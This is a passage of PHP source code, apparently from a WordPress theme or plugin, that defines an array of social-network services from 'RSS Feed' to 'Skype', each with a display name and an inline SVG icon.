'feed' => array(
'name' => 'RSS Feed',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>',
),
'flickr' => array(
'name' => 'Flickr',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>',
),
'foursquare' => array(
'name' => 'Foursquare',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>',
),
'goodreads' => array(
'name' => 'Goodreads',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>',
),
'google' => array(
'name' => 'Google',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>',
),
'github' => array(
'name' => 'GitHub',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>',
),
'instagram' => array(
'name' => 'Instagram',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>',
),
'lastfm' => array(
'name' => 'Last.fm',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>',
),
'linkedin' => array(
'name' => 'LinkedIn',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>',
),
'mail' => array(
'name' => 'Mail',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M20,4H4C2.895,4,2,4.895,2,6v12c0,1.105,0.895,2,2,2h16c1.105,0,2-0.895,2-2V6C22,4.895,21.105,4,20,4z M20,8.236l-8,4.882 L4,8.236V6h16V8.236z"></path></svg>',
),
'mastodon' => array(
'name' => 'Mastodon',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>',
),
'meetup' => array(
'name' => 'Meetup',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>',
),
'medium' => array(
'name' => 'Medium',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>',
),
'patreon' => array(
'name' => 'Patreon',
'icon' => '<svg width="24" height="24" viewBox="0 0 569 546" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><circle cx="363" cy="205" r="205" /><rect width="100" height="546" x="0" y="0" /></svg>',
),
'pinterest' => array(
'name' => 'Pinterest',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>',
),
'pocket' => array(
'name' => 'Pocket',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>',
),
'reddit' => array(
'name' => 'Reddit',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M22,11.816c0-1.256-1.021-2.277-2.277-2.277c-0.593,0-1.122,0.24-1.526,0.614c-1.481-0.965-3.455-1.594-5.647-1.69 l1.171-3.702l3.18,0.748c0.008,1.028,0.846,1.862,1.876,1.862c1.035,0,1.877-0.842,1.877-1.878c0-1.035-0.842-1.877-1.877-1.877 c-0.769,0-1.431,0.466-1.72,1.13l-3.508-0.826c-0.203-0.047-0.399,0.067-0.46,0.261l-1.35,4.268 c-2.316,0.038-4.411,0.67-5.97,1.671C5.368,9.765,4.853,9.539,4.277,9.539C3.021,9.539,2,10.56,2,11.816 c0,0.814,0.433,1.523,1.078,1.925c-0.037,0.221-0.061,0.444-0.061,0.672c0,3.292,4.011,5.97,8.941,5.97s8.941-2.678,8.941-5.97 c0-0.214-0.02-0.424-0.053-0.632C21.533,13.39,22,12.661,22,11.816z M18.776,4.394c0.606,0,1.1,0.493,1.1,1.1s-0.493,1.1-1.1,1.1 s-1.1-0.494-1.1-1.1S18.169,4.394,18.776,4.394z M2.777,11.816c0-0.827,0.672-1.5,1.499-1.5c0.313,0,0.598,0.103,0.838,0.269 c-0.851,0.676-1.477,1.479-1.812,2.36C2.983,12.672,2.777,12.27,2.777,11.816z M11.959,19.606c-4.501,0-8.164-2.329-8.164-5.193 S7.457,9.22,11.959,9.22s8.164,2.329,8.164,5.193S16.46,19.606,11.959,19.606z M20.636,13.001c-0.326-0.89-0.948-1.701-1.797-2.384 c0.248-0.186,0.55-0.301,0.883-0.301c0.827,0,1.5,0.673,1.5,1.5C21.223,12.299,20.992,12.727,20.636,13.001z M8.996,14.704 c-0.76,0-1.397-0.616-1.397-1.376c0-0.76,0.637-1.397,1.397-1.397c0.76,0,1.376,0.637,1.376,1.397 C10.372,14.088,9.756,14.704,8.996,14.704z M16.401,13.328c0,0.76-0.616,1.376-1.376,1.376c-0.76,0-1.399-0.616-1.399-1.376 c0-0.76,0.639-1.397,1.399-1.397C15.785,11.931,16.401,12.568,16.401,13.328z M15.229,16.708c0.152,0.152,0.152,0.398,0,0.55 c-0.674,0.674-1.727,1.002-3.219,1.002c-0.004,0-0.007-0.002-0.011-0.002c-0.004,0-0.007,0.002-0.011,0.002 c-1.492,0-2.544-0.328-3.218-1.002c-0.152-0.152-0.152-0.398,0-0.55c0.152-0.152,0.399-0.151,0.55,0 c0.521,0.521,1.394,0.775,2.669,0.775c0.004,0,0.007,0.002,0.011,0.002c0.004,0,0.007-0.002,0.011-0.002 c1.275,0,2.148-0.253,2.669-0.775C14.831,16.556,15.078,16.556,15.229,16.708z"></path></svg>',
),
'skype' => array(
'name' => 'Skype',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>',
),
'snapchat' => array(
'name' => 'Snapchat',
